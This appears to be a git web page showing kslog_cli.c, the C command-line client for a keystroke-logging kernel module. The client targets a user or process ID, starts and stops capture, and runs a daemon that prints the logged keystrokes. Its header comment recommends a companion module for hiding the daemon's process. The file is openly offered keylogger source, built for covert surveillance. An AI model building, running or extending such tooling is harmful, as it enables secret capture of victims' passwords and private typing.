summaryrefslogtreecommitdiff
path: root/kslog/kslog_cli/kslog_cli.c
blob: 22ac641ab8f8bb5e9874ee45ded03f3b3a10b254 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
/*
 * kslog_cli.c
 *
 * kslog keystroke logging LKM command line client. supports
 * settings of logging options and execution as log daemon.
 * in log daemon mode, process can be hidden using prochide
 * LKM package availabel from http://gravitino.net/~mike/.
 *
 * mike@gravitino.net
 */
 
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioccom.h>
 
#include "kslog.h" 
 
#define CMD_SETUID 0x01
#define CMD_SETPID 0x02
#define CMD_START  0x04
#define CMD_STOP   0x08
#define CMD_STATUS 0x10
#define CMD_LOG	   0x20
#define CMD_DAEMON 0x40

#define DEVICE "/dev/kslog"

#define BUF_SIZE 100

#define NEWLINE  "\n"

#define BANNER "*************************************************\n"		\
       	       "* kslog v0.1 - mike@gravitino.net\n"				\
       	       "*************************************************\n"

#define USAGE  "*\n* USAGE:\n"							\
	       "*\n"								\
	       "* -u UID     set user id to log.\n"				\
	       "* -p PID     set process id to log.\n"				\
	       "* -s         start logging.\n"					\
	       "* -q         quit logging.\n"					\
	       "* -g         get status.\n"					\
	       "* -d         run as daemon and log to file.\n"			\
	       "*\n"								\
	       "*************************************************\n"		

#define FAILED_TO_OPEN "failed to open device.\n"

#define ISSET(i, f) i & f
#define SET(c, f) c ^= f
 
void usage ()
{
	write(2, USAGE, strlen(USAGE));
} 

//
// check for proper combination of commands
//
int validate_cmd(int cmd)
{
	// no cl options
	if(cmd == 0)
	{
		return(-1);
	}

	// mutually exclusive
	if(ISSET(cmd, CMD_SETPID) &&
	   ISSET(cmd, CMD_SETUID))
	{
		return(-1);
	}
	
	if(ISSET(cmd, CMD_START)  &&
	   ISSET(cmd, CMD_STOP ))
	{
		return(-1);
	}
	
	if(ISSET(cmd, CMD_STOP )  &&
	   ISSET(cmd, CMD_DAEMON))
	{
		return(-1);
	}
	
	return(0);
}
 
int main(int argc, char *argv[])
{
	struct kslog_op op;
	char ch    = 0;
	int  cmd   = 0;
	int  Xid   = 0;
	int  fd    = 0;
	char *p_id = NULL;
	int  len   = 0;
	char buf[BUF_SIZE];
	int  x     = 0;

	write(2, BANNER, strlen(BANNER));
	       
	opterr = 0;
	       
	/*
	 * parse command line args..
	 */
	while((ch = getopt(argc, argv, "u:p:o:dsqg")) != -1)
	{
		switch(ch)
		{
			case 'u':
			
				p_id = optarg;
				SET(cmd, CMD_SETUID);
				break;
				
			case 'p':
			
				p_id = optarg;
				SET(cmd, CMD_SETPID);
				break;
				
			case 's':
			
				SET(cmd, CMD_START );	
				break;
				
			case 'q':
			
				SET(cmd, CMD_STOP  );
				break;
				
			case 'g':
			
				SET(cmd, CMD_STATUS);
				break;
				
			case 'd':

				SET(cmd, CMD_DAEMON);
				break;

			case '?':
				usage();
				return(1);
		}
	}
	
	// make sure commands are not mutually exclusive
	if(validate_cmd(cmd) != 0)
	{
		usage();
		return(1);
	}
	
	// open char device
	if((fd = open(DEVICE, O_RDONLY)) == -1)
	{
		perror(FAILED_TO_OPEN);
		return(1);
	}

	if(ISSET(cmd, CMD_SETPID) ||
	   ISSET(cmd, CMD_SETUID))
	{
		Xid = atoi(p_id);
	}

	if(ISSET(cmd, CMD_SETPID))
	{
		op.val = Xid;
		if(ioctl(fd, KSLOG_SETPID, &op) == -1)
		{
			close(fd);
			perror("setpid ioctl failed.\n");
			return(1);
		}
		
		printf("pid %d set\n", Xid);
	}
	
	if(ISSET(cmd, CMD_SETUID))
	{
		op.val = Xid;
		if(ioctl(fd, KSLOG_SETUID, &op) == -1)
		{
			close(fd);
			perror("setuid ioctl failed.\n");
			return(1);
		}
		
		printf("uid %d set\n", Xid);
	}
	
	if(ISSET(cmd, CMD_STATUS))
	{
		op.val = 0;
		if(ioctl(fd, KSLOG_STATUS, &op) == -1)
		{
			close(fd);
			perror("status ioctl failed.\n");
			return(1);
		}
		
		printf("kslog is: %s\n", (op.val == 0 ? "off" : "on"));
	}	
	
	if(ISSET(cmd, CMD_START))
	{
		if(ioctl(fd, KSLOG_START, &op) == -1)
		{
			close(fd);
			perror("start ioctl failed.\n");
			return(1);
		}
		
		printf("started\n");
	}
	
	if(ISSET(cmd, CMD_STOP))
	{
		if(ioctl(fd, KSLOG_STOP, &op) == -1)
		{
			close(fd);
			perror("stop ioctl failed.\n");
			return(1);
		}
		
		printf("stopped\n");
	}

	if(ISSET(cmd, CMD_DAEMON))
	{
		while(1)
		{
			len = read(fd, buf, BUF_SIZE);
			if(len > 0)
			{
				for(x=0; x < len; ++x)
				{
					ch = buf[x];
					
					if(ch == '\n' ||
					   (ch > 31 && ch <= 'z'))
					{
						printf("%c", ch);
						fflush((FILE *)0);
					}
				}
			}

			sleep(1);
		}
	}
	
	close(fd);

	return(0);
}